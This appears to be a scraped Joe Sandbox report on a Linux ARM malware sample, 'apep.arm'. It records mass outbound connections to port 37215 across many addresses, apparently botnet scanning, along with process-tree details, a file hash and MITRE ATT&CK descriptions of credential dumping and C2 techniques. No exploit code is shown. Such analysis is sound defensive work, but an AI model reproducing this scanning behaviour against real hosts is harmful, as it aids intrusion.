Feb 20, 2022 15:51:04.906474113 CET	1386	37215	192.168.2.23	92.247.58.3
Feb 20, 2022 15:51:04.906502008 CET	1386	37215	192.168.2.23	92.196.121.59
Feb 20, 2022 15:51:04.906527042 CET	1386	37215	192.168.2.23	92.122.224.86
Feb 20, 2022 15:51:04.906559944 CET	1386	37215	192.168.2.23	92.53.155.13
Feb 20, 2022 15:51:04.906574965 CET	1386	37215	192.168.2.23	92.27.135.84
Feb 20, 2022 15:51:04.906596899 CET	1386	37215	192.168.2.23	92.30.236.224
Feb 20, 2022 15:51:04.906616926 CET	1386	37215	192.168.2.23	92.86.164.152
Feb 20, 2022 15:51:04.906656027 CET	1386	37215	192.168.2.23	92.50.170.95
Feb 20, 2022 15:51:04.906665087 CET	1386	37215	192.168.2.23	92.250.187.157
Feb 20, 2022 15:51:04.906676054 CET	1386	37215	192.168.2.23	92.71.136.199
Feb 20, 2022 15:51:04.906703949 CET	1386	37215	192.168.2.23	92.2.27.38
Feb 20, 2022 15:51:04.906738997 CET	1386	37215	192.168.2.23	92.160.9.170
Feb 20, 2022 15:51:04.906759024 CET	1386	37215	192.168.2.23	92.21.69.176
Feb 20, 2022 15:51:04.906795979 CET	1386	37215	192.168.2.23	92.73.207.141
Feb 20, 2022 15:51:04.906804085 CET	1386	37215	192.168.2.23	92.11.170.211
Feb 20, 2022 15:51:04.906837940 CET	1386	37215	192.168.2.23	92.119.49.124
Feb 20, 2022 15:51:04.906856060 CET	1386	37215	192.168.2.23	92.22.184.67
Feb 20, 2022 15:51:04.906872988 CET	1386	37215	192.168.2.23	92.120.0.18
Feb 20, 2022 15:51:04.906899929 CET	1386	37215	192.168.2.23	92.82.53.45
Feb 20, 2022 15:51:04.906915903 CET	1386	37215	192.168.2.23	92.20.93.35
Feb 20, 2022 15:51:04.906938076 CET	1386	37215	192.168.2.23	92.193.83.240
Feb 20, 2022 15:51:04.906955957 CET	1386	37215	192.168.2.23	92.45.47.92
Feb 20, 2022 15:51:04.906975031 CET	1386	37215	192.168.2.23	92.241.80.249
Feb 20, 2022 15:51:04.907002926 CET	1386	37215	192.168.2.23	92.88.197.141
Feb 20, 2022 15:51:04.907037020 CET	1386	37215	192.168.2.23	92.202.243.94
Feb 20, 2022 15:51:04.907085896 CET	1386	37215	192.168.2.23	92.246.88.8
Feb 20, 2022 15:51:04.907085896 CET	1386	37215	192.168.2.23	92.239.30.115
Feb 20, 2022 15:51:04.907113075 CET	1386	37215	192.168.2.23	92.77.113.163
Feb 20, 2022 15:51:04.907130957 CET	1386	37215	192.168.2.23	92.142.143.68
Feb 20, 2022 15:51:04.907155991 CET	1386	37215	192.168.2.23	92.106.21.200
Feb 20, 2022 15:51:04.907172918 CET	1386	37215	192.168.2.23	92.26.249.26
Feb 20, 2022 15:51:04.907198906 CET	1386	37215	192.168.2.23	92.121.225.184
Feb 20, 2022 15:51:04.907237053 CET	1386	37215	192.168.2.23	92.38.203.170
Feb 20, 2022 15:51:04.907275915 CET	1386	37215	192.168.2.23	92.234.15.217
Feb 20, 2022 15:51:04.907278061 CET	1386	37215	192.168.2.23	92.34.95.194
Feb 20, 2022 15:51:04.907295942 CET	1386	37215	192.168.2.23	92.235.70.140
Feb 20, 2022 15:51:04.907310009 CET	1386	37215	192.168.2.23	92.206.56.61
Feb 20, 2022 15:51:04.907346964 CET	1386	37215	192.168.2.23	92.51.74.173
Feb 20, 2022 15:51:04.907367945 CET	1386	37215	192.168.2.23	92.226.172.254
Feb 20, 2022 15:51:04.907391071 CET	1386	37215	192.168.2.23	92.191.164.97
Feb 20, 2022 15:51:04.907421112 CET	1386	37215	192.168.2.23	92.254.67.54
Feb 20, 2022 15:51:04.907444954 CET	1386	37215	192.168.2.23	92.172.50.174
Feb 20, 2022 15:51:04.907480955 CET	1386	37215	192.168.2.23	92.234.188.14
Feb 20, 2022 15:51:04.907485008 CET	1386	37215	192.168.2.23	92.29.16.172
Feb 20, 2022 15:51:04.907516003 CET	1386	37215	192.168.2.23	92.82.185.81
Feb 20, 2022 15:51:04.907541990 CET	1386	37215	192.168.2.23	92.130.198.1
Feb 20, 2022 15:51:04.907557964 CET	1386	37215	192.168.2.23	92.194.141.248
Feb 20, 2022 15:51:04.907578945 CET	1386	37215	192.168.2.23	92.1.23.110
Feb 20, 2022 15:51:04.907608032 CET	1386	37215	192.168.2.23	92.204.212.108
Feb 20, 2022 15:51:04.907629013 CET	1386	37215	192.168.2.23	92.119.167.68
Feb 20, 2022 15:51:04.907655954 CET	1386	37215	192.168.2.23	92.216.36.160
Feb 20, 2022 15:51:04.907690048 CET	1386	37215	192.168.2.23	92.26.81.39
Feb 20, 2022 15:51:04.907710075 CET	1386	37215	192.168.2.23	92.187.186.55
Feb 20, 2022 15:51:04.907742023 CET	1386	37215	192.168.2.23	92.16.253.106
Feb 20, 2022 15:51:04.907773018 CET	1386	37215	192.168.2.23	92.48.159.212
Feb 20, 2022 15:51:04.907792091 CET	1386	37215	192.168.2.23	92.169.183.45
Feb 20, 2022 15:51:04.907826900 CET	1386	37215	192.168.2.23	92.208.104.205
Feb 20, 2022 15:51:04.907841921 CET	1386	37215	192.168.2.23	92.78.233.191
Feb 20, 2022 15:51:04.907876968 CET	1386	37215	192.168.2.23	92.6.254.13
Feb 20, 2022 15:51:04.907881975 CET	1386	37215	192.168.2.23	92.118.97.250
Feb 20, 2022 15:51:04.907913923 CET	1386	37215	192.168.2.23	92.117.144.117
Feb 20, 2022 15:51:04.907942057 CET	1386	37215	192.168.2.23	92.51.26.219
Feb 20, 2022 15:51:04.907969952 CET	1386	37215	192.168.2.23	92.175.130.132
Feb 20, 2022 15:51:04.907990932 CET	1386	37215	192.168.2.23	92.161.7.122
Feb 20, 2022 15:51:04.908013105 CET	1386	37215	192.168.2.23	92.224.84.201
Feb 20, 2022 15:51:04.908036947 CET	1386	37215	192.168.2.23	92.23.106.174
Feb 20, 2022 15:51:04.908056021 CET	1386	37215	192.168.2.23	92.170.191.76
Feb 20, 2022 15:51:04.908075094 CET	1386	37215	192.168.2.23	92.253.105.73
Feb 20, 2022 15:51:04.908111095 CET	1386	37215	192.168.2.23	92.76.237.205
Feb 20, 2022 15:51:04.908128977 CET	1386	37215	192.168.2.23	92.241.198.99
Feb 20, 2022 15:51:04.908160925 CET	1386	37215	192.168.2.23	92.112.138.24
Feb 20, 2022 15:51:04.908169985 CET	1386	37215	192.168.2.23	92.191.242.58
Feb 20, 2022 15:51:04.908190966 CET	1386	37215	192.168.2.23	92.18.92.248
Feb 20, 2022 15:51:04.908210039 CET	1386	37215	192.168.2.23	92.74.86.125
Feb 20, 2022 15:51:04.908236027 CET	1386	37215	192.168.2.23	92.175.119.6
Feb 20, 2022 15:51:04.908263922 CET	1386	37215	192.168.2.23	92.197.175.154
Feb 20, 2022 15:51:04.908282042 CET	1386	37215	192.168.2.23	92.52.43.2
Feb 20, 2022 15:51:04.908296108 CET	1386	37215	192.168.2.23	92.152.144.175
Feb 20, 2022 15:51:04.908322096 CET	1386	37215	192.168.2.23	92.241.134.143
Feb 20, 2022 15:51:04.908344984 CET	1386	37215	192.168.2.23	92.123.6.76
Feb 20, 2022 15:51:04.908365965 CET	1386	37215	192.168.2.23	92.230.37.171
Feb 20, 2022 15:51:04.908387899 CET	1386	37215	192.168.2.23	92.223.200.82
Feb 20, 2022 15:51:04.908406019 CET	1386	37215	192.168.2.23	92.94.221.114
Feb 20, 2022 15:51:04.908427954 CET	1386	37215	192.168.2.23	92.193.8.36
Feb 20, 2022 15:51:04.908451080 CET	1386	37215	192.168.2.23	92.172.123.61
Feb 20, 2022 15:51:04.908489943 CET	1386	37215	192.168.2.23	92.233.34.18
Feb 20, 2022 15:51:04.908499002 CET	1386	37215	192.168.2.23	92.3.27.4
Feb 20, 2022 15:51:04.908524036 CET	1386	37215	192.168.2.23	92.144.243.118
Feb 20, 2022 15:51:04.908554077 CET	1386	37215	192.168.2.23	92.5.108.75
Feb 20, 2022 15:51:04.908576012 CET	1386	37215	192.168.2.23	92.100.214.31
Feb 20, 2022 15:51:04.908606052 CET	1386	37215	192.168.2.23	92.138.250.38
Feb 20, 2022 15:51:04.908624887 CET	1386	37215	192.168.2.23	92.254.239.35
Feb 20, 2022 15:51:04.908651114 CET	1386	37215	192.168.2.23	92.84.84.94
Feb 20, 2022 15:51:04.908677101 CET	1386	37215	192.168.2.23	92.27.170.56
Feb 20, 2022 15:51:04.908694983 CET	1386	37215	192.168.2.23	92.167.233.51
Feb 20, 2022 15:51:04.908715010 CET	1386	37215	192.168.2.23	92.125.2.114
Feb 20, 2022 15:51:04.908745050 CET	1386	37215	192.168.2.23	92.94.254.204
Feb 20, 2022 15:51:04.908762932 CET	1386	37215	192.168.2.23	92.141.13.93
Feb 20, 2022 15:51:04.908780098 CET	1386	37215	192.168.2.23	92.62.32.76
Feb 20, 2022 15:51:04.908808947 CET	1386	37215	192.168.2.23	92.195.17.121
Feb 20, 2022 15:51:04.908833981 CET	1386	37215	192.168.2.23	92.166.45.192
Feb 20, 2022 15:51:04.908845901 CET	1386	37215	192.168.2.23	92.58.163.87
Feb 20, 2022 15:51:04.908884048 CET	1386	37215	192.168.2.23	92.245.160.229

System Behavior

Analysis Process: apep.arm PID: 5224, Parent PID: 5118

General

Start time:	15:50:55
Start date:	20/02/2022
Path:	/tmp/apep.arm
Arguments:	/tmp/apep.arm
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time:	15:50:56
Start date:	20/02/2022
Path:	/tmp/apep.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time:	15:50:56
Start date:	20/02/2022
Path:	/tmp/apep.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: apep.arm PID: 5230, Parent PID: 5224

General

Start time:	15:50:56
Start date:	20/02/2022
Path:	/tmp/apep.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: apep.arm PID: 5231, Parent PID: 5224

General

Start time:	15:50:56
Start date:	20/02/2022
Path:	/tmp/apep.arm
Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report apep.arm

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: apep.arm PID: 5224, Parent PID: 5118

General

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Process Forked

Signal sent

Prctl Requested

System Activities

Query System Information (uname)

Network Activities

Socket starts Listening

Chronological Activities

Analysis Process: apep.arm PID: 5226, Parent PID: 5224

General

File Activities

Linux Analysis Report
apep.arm